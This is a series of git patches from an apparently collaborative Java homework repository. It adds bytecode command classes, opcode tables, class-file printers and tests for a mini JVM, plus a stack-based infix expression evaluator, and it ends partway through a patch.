@@ -91,4 +91,14 @@ private String getSuperClassName(){
 	public void addMethod(Method m) {
 		methods.add(m);
 	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..8c15e1bd44
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..85f6f637d4
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..1ee3e0ac81
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,95 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		
+		//codes = codes.toUpperCase();
+		CommandIterator iter = new CommandIterator(codes);
+
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if(new_object.equals(opCode)) {
+				
+			}
+		}
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..4d989d6cbb
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..9fb13677eb
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..5ac3454be7
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..303a64b4c7
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..00f9a5a699
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..a43c8bd964
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..92e5c4f3f1
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..6b1b8c284c
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..00b29e1fbc
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..334eec9f98
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java
index 13a8e41994..482f445ae3 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/method/Method.java
@@ -1,6 +1,7 @@
 package com.coderising.jvm.method;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
 
 import javax.management.RuntimeErrorException;
 
@@ -77,4 +78,10 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return m;
 		
 	}
+	
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+	
+	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..d1579dba28
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..4010078059
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index db02c29132..c72b31f6c6 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -9,6 +9,7 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.ByteCodeCommand;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
@@ -274,4 +275,79 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
 }

From d054469d9ed2737f08ccd1c33da5a9c087cb144f Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Wed, 19 Apr 2017 07:47:08 +0800
Subject: [PATCH 094/262] =?UTF-8?q?little=20=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/coderising/jvm/loader/ClassFileParser.java | 2 ++
 .../coding2017/coderising/jvm/method/Method.java          | 8 +++-----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
index 2638010915..2cdfb950af 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
@@ -34,6 +34,8 @@ public ClassFile parse(byte[] codes) {
         clzFile.setClassIndex(classIndex);
 
         parseInterfaces(byteCodeIterator);
+        parseFileds(clzFile, byteCodeIterator);
+        parseMethods(clzFile, byteCodeIterator);
         return clzFile;
 	}
 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
index e97bc6ad1c..3e08abc298 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
@@ -9,7 +9,7 @@
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
 
 public class Method {
-	
+
 	private int accessFlag;
 	private int nameIndex;
 	private int descriptorIndex;
@@ -45,11 +45,9 @@ public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorInd
 		this.descriptorIndex = descriptorIndex;
 	}
 
+
 	
-	
-	
-	
-public String toString() {
+	public String toString() {
 		
 		ConstantPool pool = this.clzFile.getConstantPool();
 		StringBuilder buffer = new StringBuilder();

From 38cf9394bb3d862ff967169578973a278085db9c Mon Sep 17 00:00:00 2001
From: "yanght1454385822@qq.com" <yanght1454385822@qq.com>
Date: Wed, 19 Apr 2017 11:07:50 +0800
Subject: [PATCH 095/262] InfixExpr

---
 .../basic/homework_06/expr/InfixExpr.java     | 57 +++++++++++++++++--
 .../coding/basic/homework_06/expr/Token.java  | 51 +++++++++++++++++
 .../basic/homework_06/expr/TokenParser.java   | 46 +++++++++++++++
 .../homework_06/expr/TokenParserTest.java     | 39 +++++++++++++
 4 files changed, 189 insertions(+), 4 deletions(-)
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/Token.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParser.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/TokenParserTest.java

diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java
index c6212009bc..685e4050ea 100644
--- a/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java
@@ -1,5 +1,8 @@
 package com.coding.basic.homework_06.expr;
 
+import java.util.List;
+import java.util.Stack;
+
 public class InfixExpr {
 	String expr = null;
 	
@@ -7,12 +10,58 @@ public InfixExpr(String expr) {
 		this.expr = expr;
 	}
 
-	public float evaluate() {		
+	public float evaluate() {	
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		Stack<Float> numStack = new Stack<Float>();
+		Stack<Token> opStack = new Stack<Token>();
+		
+		for (Token token : tokens) {
+			if(token.isOperator()){
+				if(opStack.isEmpty()){
+					opStack.push(token);
+				}else{
+					while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
+						Token prevOperator = opStack.pop();
+						Float float1 = numStack.pop();
+						Float float2 = numStack.pop();
+						Float result = getResult(float1, float2, prevOperator.toString());
+						numStack.push(result);
+					}
+					opStack.push(token);
+				}
+			}
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			Token prevOperator = opStack.pop();
+			Float float1 = numStack.pop();
+			Float float2 = numStack.pop();
+			Float result = getResult(float1, float2, prevOperator.toString());
+			numStack.push(result);
+		}
 		
-		return 0.0f;
+		return numStack.pop();
 	}
-	
 
+	private Float getResult(Float float1, Float float2, String operator){
+		if(operator.equals("+")){
+			return float1 + float2;
+		}else if(operator.equals("-")){
+			return float2 - float1;
+		}else if(operator.equals("*")){
+			return float1 * float2;
+		}else if(operator.equals("/")){
+			return float2 / float1;
+		}else{
+			throw new RuntimeException(operator + " is not supported");
+		}
+		
+		
+	}
 	
-	
+
 }
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/Token.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/Token.java
new file mode 100644
index 0000000000..59dca19bd7
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/Token.java
@@ -0,0 +1,51 @@
